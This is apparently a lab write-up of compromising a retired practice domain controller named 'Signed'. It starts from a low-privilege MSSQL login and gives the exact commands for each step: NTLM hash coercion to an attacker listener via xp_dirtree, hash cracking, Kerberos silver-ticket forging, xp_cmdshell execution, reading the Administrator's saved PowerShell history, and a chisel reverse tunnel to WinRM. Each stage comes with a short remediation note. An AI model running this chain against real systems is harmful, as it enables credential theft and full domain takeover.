Signed
Summary
The engagement began from a provided low-privilege MSSQL account (scott) rather than an open port scan, reflecting an assumed-breach test of the Signed domain controller. That account could not run commands directly, but it could trigger an outbound SMB UNC-path lookup, which was used to coerce the SQL service account into authenticating to my own listener and leak its NetNTLMv2 hash. The hash cracked to a weak password, giving me the service account's NT hash.
Because the SQL Server 'IT' domain group was mapped to the sysadmin server role, that NT hash was enough to forge a Kerberos silver ticket carrying IT-group membership, granting full sysadmin rights on the database without ever touching a domain controller for AD authentication. From sysadmin, xp_cmdshell was re-enabled to get direct command execution as the service account, capturing user.txt. A second, higher-privileged forged ticket was then used to read the Administrator's plaintext PowerShell command history through SQL Server's file-read functionality, exposing the Administrator password in cleartext.
That password was used over a chisel SOCKS tunnel to authenticate to WinRM as Administrator, yielding full SYSTEM-level control of the domain controller and root.txt.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export INTERNAL_HOST="<another-host-reached-after-pivoting>"
export PASSWORD="<the-password-you-recovered, for Administrator>"
export PASSWORD2="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"Attack path — how the box was taken
Exact commands 2
Resolve the domain/host names used later for Kerberos SPNs.
$ echo "$TARGET signed.htb DC01.signed.htb" | sudo tee -a /etc/hostsSQL-auth login (do NOT pass -windows-auth) — scott is a SQL-local account.
$ impacket-mssqlclient scott:"$PASSWORD2"@$TARGETExact commands 3
Start the NTLM capture listener before triggering the coercion.
$ sudo responder -I tun0Run inside the scott mssqlclient session; replace $INTERNAL_HOST with your own tun0 IP.
$ EXEC master..xp_dirtree "\\$INTERNAL_HOST\x",1,1;Crack the captured NetNTLMv2 hash offline to recover the mssqlsvc password.
$ hashcat -m 5600 mssqlsvc_netntlmv2.txt rockyou.txtFixRestrict SMB coercion via xp_dirtree and require strong, managed service account passwordsHigh
Exact commands 5
Leak the domain SID bytes as scott; parse to S-1-5-21-4088429403-1159899800-2753317549.
$ SELECT SUSER_SID('SIGNED\IT');Derive the NT hash of the cracked password ($HASH).
$ python3 -c "import hashlib,binascii; print(hashlib.new('md4','$PASSWORD3'.encode('utf-16le')).hexdigest())"Forge a silver ticket asserting IT-group (1105) membership; SPN/domain must match exactly or you get KRB_AP_ERR_MODIFIED.
$ impacket-ticketer -nthash $HASH -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn MSSQLSvc/DC01.signed.htb:1433 -groups 1105 -user-id 500 AdministratorPoint Kerberos at the forged ticket.
$ export KRB5CCNAME=Administrator.ccacheAuthenticate to MSSQL with the forged ticket; lands as sysadmin.
$ impacket-mssqlclient -k -no-pass DC01.signed.htbFixRemove broad domain-group mappings to the SQL Server sysadmin roleCritical
Exact commands 3
Enable xp_cmdshell now that the session is sysadmin.
$ EXEC sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;Confirm code execution and identity (SIGNED\mssqlsvc).
$ EXEC xp_cmdshell 'whoami';
SIGNED\mssqlsvcRead the user flag; value will read as <user.txt>.
$ EXEC xp_cmdshell 'type C:\Users\mssqlsvc\Desktop\user.txt';FixKeep xp_cmdshell disabled and restrict who can re-enable itHigh
Exact commands 3
Re-forge with Domain Admins (512) so the token can read Administrator's profile files.
$ impacket-ticketer -nthash $HASH -domain-sid S-1-5-21-4088429403-1159899800-2753317549 -domain signed.htb -spn MSSQLSvc/DC01.signed.htb:1433 -user-id 1103 -groups 512,1105 anythingRe-authenticate with the higher-privilege ticket.
$ export KRB5CCNAME=anything.ccache && impacket-mssqlclient -k -no-pass DC01.signed.htbRead the Administrator's PowerShell command history to recover the plaintext password.
$ SELECT BulkColumn FROM OPENROWSET(BULK 'C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt', SINGLE_CLOB) AS x;FixStop retaining plaintext credentials in PowerShell command historyMedium
Exact commands 4
Run the staged chisel client from the mssqlsvc shell; replace $INTERNAL_HOST:18000 with your chisel server address.
$ EXEC xp_cmdshell "C:\Windows\Temp\chisel-x64.exe client $INTERNAL_HOST:18000 R:socks";Connect to WinRM over TLS through the SOCKS tunnel with the recovered credentials.
$ proxychains evil-winrm -S -i DC01.signed.htb -u Administrator -p "$PASSWORD"Run inside the evil-winrm session to prove Administrator/SYSTEM-level access before reading the flag.
$ whoamiRead the root flag; value will read as <root.txt>.
$ type C:\Users\Administrator\Desktop\root.txtFixRestrict and tier WinRM administrative access to the domain controllerCritical
Exposed services
| 1433/tcp | ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM |